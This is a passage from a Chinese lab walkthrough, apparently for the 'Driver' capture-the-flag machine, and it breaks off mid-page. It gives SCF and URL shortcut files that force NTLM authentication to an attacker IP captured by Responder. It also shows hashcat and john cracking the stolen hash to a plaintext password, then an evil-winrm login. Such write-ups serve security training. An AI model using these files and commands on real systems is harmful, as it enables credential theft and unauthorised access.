文件执行，当用户打开存放该文件的目录或着刷新时，SCF就会自动执行，自动解析图标中的链接。迫使受害系统尝试在 Responder 正在侦听的 10.10.14.37 处对攻击系统进行 NTLM 身份验证。也可以把该文件放在共享目录上，用户打开该共享目录时，就会进行强制认证。</span></p><p cid="n24" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">还需要一个工具Responder。启动默认功能即可python3 Responder.py -I tun0 -wrf</span></p><p cid="n139" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">盲测发现成功了，经过测试发现以下两种方法皆可。</span></p><h4 cid="n26" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">SCF文件</span></h4><h5 cid="n27" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">1.scf</span></h5><pre spellcheck="false" lang="" cid="n28" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[Shell]Command=2</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">IconFile=\\10.10.14.37\favicon.ico</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[Taskbar]</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Command=HEHE</span></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1553455404607206" data-s="300,640" style="" data-type="png" data-w="1693" src="https://wechat2rss.xlab.app/img-proxy/?k=37c05115&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpqsjE65mqyEEpafGmQabawiakmPsBT6cJw1zR1kgw3hicKHU0EJiaPhicibAkODSheb1t9rcGxcgHSAMYg%2F640%3Fwx_fmt%3Dpng"/></p><h4 cid="n30" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">URL文件</span></h4><h5 cid="n31" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">1.url</span></h5><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span class="code-snippet_outer"><span class="code-snippet__section">[InternetShortcut]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">URL</span>=whatever</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">WorkingDirectory</span>=whatever</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">IconFile</span>=\\<span class="code-snippet__number">10.10</span>.<span class="code-snippet__number">14.37</span>\favicon.ico</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">IconIndex</span>=<span class="code-snippet__number">1</span></span></code></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.12454873646209386" data-s="300,640" style="" data-type="png" data-w="1662" src="https://wechat2rss.xlab.app/img-proxy/?k=63c0583f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpqsjE65mqyEEpafGmQabawiatKTnPeYWvwmPz4nnKBEVJLDBTLMoMRBbYIG5TXFypZlia6deAKzeosQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n34" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">成功获取目标服务器的NTLM v2 凭证。如下所示：</span></p><pre spellcheck="false" lang="" cid="n35" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[SMB] NTLMv2-SSP Client   : 10.10.11.106</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[SMB] NTLMv2-SSP Username : DRIVER\tony</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[SMB] NTLMv2-SSP Hash     : tony::DRIVER:95fe96496a0c8df4:31E500CBE2425702355E50C0A37E9539:010100000000000080C97FE5E0E1D70101011E11164949B700000000020008004E0050003700460001001E00570049004E002D0045003300530050004C0055003000360037004400480004003400570049004E002D0045003300530050004C005500300036003700440048002E004E005000370046002E004C004F00430041004C00030014004E005000370046002E004C004F00430041004C00050014004E005000370046002E004C004F00430041004C000700080080C97FE5E0E1D70106000400020000000800300030000000000000000000000000200000A95499C91BED630380B9EAB1B1353F108C2085C2711A7E9036E8848F35CB1D780A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0033003700000000000000000000000000  </span></pre><p cid="n36" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">这个v2凭证不能用来PTH，但是可以通过这个配合字典来破解出用户的明文密码，此凭证放在logs文件夹中和Responder.db中。</span></p><p cid="n37" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">这时候可以爆破</span></p><p cid="n38" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">hashcat</span></p><pre spellcheck="false" lang="" cid="n39" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">└─# hashcat -h |grep NT</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   5500 | NetNTLMv1 / NetNTLMv1+ESS                        | Network Protocols</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   5600 | NetNTLMv2                                        | Network Protocols</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   1000 | NTLM                                             | Operating System</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><p cid="n40" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">所以爆破命令为</span></p><pre spellcheck="false" lang="" cid="n41" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">hashcat  -m 5600 pass.txt /usr/share/wordlists/rockyou.txt --force</span></pre><pre spellcheck="false" lang="" cid="n42" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">TONY::DRIVER:1122334455667788:e8f3b3ecc7071c6c9c6b7e23dce15416:0101000000000000567397034cc0d701b4813f5b78758a070000000002000a0073006d006200310032000100140053004500520056004500520032003000300038000400160073006d006200310032002e006c006f00630061006c0003002c0053004500520056004500520032003000300038002e0073006d006200310032002e006c006f00630061006c000500160073006d006200310032002e006c006f00630061006c0008003000300000000000000000000000002000008c2742491911a054253d45c2742410216294cfc650c01e57cf656f269f77106c0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00320031000000000000000000:liltony</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                  </span></pre><p cid="n43" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">使用john</span></p><pre spellcheck="false" lang="bash" cid="n44" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">└─<span style="box-sizing: border-box;color: rgb(170, 85, 0);"># john pass.txt                                                     </span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Created directory: /root/.john</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Using default input encoding: UTF-8</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Loaded <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span> password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">32</span>/64])</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Will run <span style="box-sizing: border-box;color: rgb(17, 102, 68);">4</span> OpenMP threads</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Proceeding with single, rules:Single</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Press <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;q&#39;</span> or Ctrl-C to abort, almost any other key <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> status</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Warning: Only <span style="box-sizing: border-box;color: rgb(17, 102, 68);">3</span> candidates buffered <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> the current salt, minimum <span style="box-sizing: border-box;color: rgb(17, 102, 68);">8</span> needed <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> performance.</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Almost <span style="box-sizing: border-box;color: rgb(119, 0, 136);">done</span>: Processing the remaining buffered candidate passwords, <span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> any.</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Warning: Only <span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span> candidates buffered <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> the current salt, minimum <span style="box-sizing: border-box;color: rgb(17, 102, 68);">8</span> needed <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> performance.</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Proceeding with incremental:ASCII</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">liltony          (tony)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">1g <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>:00:01:19 DONE <span style="box-sizing: border-box;color: rgb(17, 102, 68);">3</span>/3 (2021-11-25 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">10</span>:11) <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>.01258g/s 1986Kp/s 1986Kc/s 1986KC/s labzter..lilthi1</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Use the <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;--show --format=netntlmv2&#34;</span> options to display all of the cracked passwords reliably</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Session completed</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><h3 cid="n45" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: center;"><span md-inline="plain" style="box-sizing: border-box;"><span style="color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;font-weight: 700;letter-spacing: 0.544px;orphans: 4;text-align: center;white-space: pre-wrap;background-color: rgb(255, 255, 255);">0x03 </span><span style="color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;font-weight: 700;letter-spacing: 0.544px;orphans: 4;text-align: center;white-space: pre-wrap;background-color: rgb(255, 255, 255);">获</span><span style="color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;font-weight: 700;letter-spacing: 0.544px;orphans: 4;text-align: center;white-space: pre-wrap;background-color: rgb(255, 255, 255);">取权限</span></span></h3><p cid="n46" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">使用evil-winrm登录</span></p><pre spellcheck="false" lang="bash" cid="n47" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">evil-winrm <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-i</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">10</span>.10.11.106 <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-u</span> tony <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-p</span> liltony</span></pre><pre spellcheck="false" lang="powershell" cid="n48" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span><span style="box-sizing: border-box;">Evil-WinRM</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">PS</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">C:</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">Users</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">tony</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">Documents</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span> <span style="box-sizing: border-box;">whoami</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;">driver</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">tony</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><p cid="n49" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">在桌面找到了user.txt</span></p><pre spellcheck="false" lang="powershell" cid="n50" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span><span style="box-sizing: border-box;">Evil-WinRM</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">PS</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">C:</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">Users</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">tony</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">Desktop</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">dir</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;">Directory</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">:</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">C:</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">Users</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">tony</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">Desktop</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;">Mode</span>                <span style="box-sizing: border-box;">LastWriteTime</span>         <span style="box-sizing: border-box;">Length</span> <span style="box-sizing: border-box;">Name</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">----</span>                <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-------------</span>         <span style="box-sizing: border-box;color: rgb(152, 26, 26);">------</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">----</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span><span style="box-sizing: border-box;">ar</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">---</span>       <span style="box-sizing: border-box;color: rgb(17, 102, 68);">11</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">25</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">2021</span>   <span style="box-sizing: border-box;color: rgb(17, 102, 68);">4</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">:</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">33</span> <span style="box-sizing: border-box;">AM</span>             <span style="box-sizing: border-box;color: rgb(17, 102, 68);">34</span> <span style="box-sizing: border-box;">user</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;">txt</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span><span style="box-sizing: border-box;">Evil-WinRM</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">PS</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">C:</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">Users</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">tony</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">Desktop</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">cat</span> <span style="box-sizing: border-box;">user</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;">txt</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 102, 68);">714601e46470d5d</span><span style="box-sizing: border-box;">abda05f09b8bc0e5c</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span><span style="box-sizing: border-box;">Evil-WinRM</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">PS</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">C:</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">Users</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">tony</span><span style="box-sizing: border-box;color: red;">\</span><span style="box-sizing: border-box;">Desktop</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span> <span style="box-sizing: border-box;">net</span> <span style="box-sizing: border-box;">user</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;">User</span> <span style="box-sizing: border-box;">accounts</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> <span style="box-sizing: border-box;color: red;">\\</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">-------------------------------------------------------------------------------</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;">Administrator</span>            <span style="box-sizing: border-box;">DefaultAccount</span>           <span style="box-sizing: 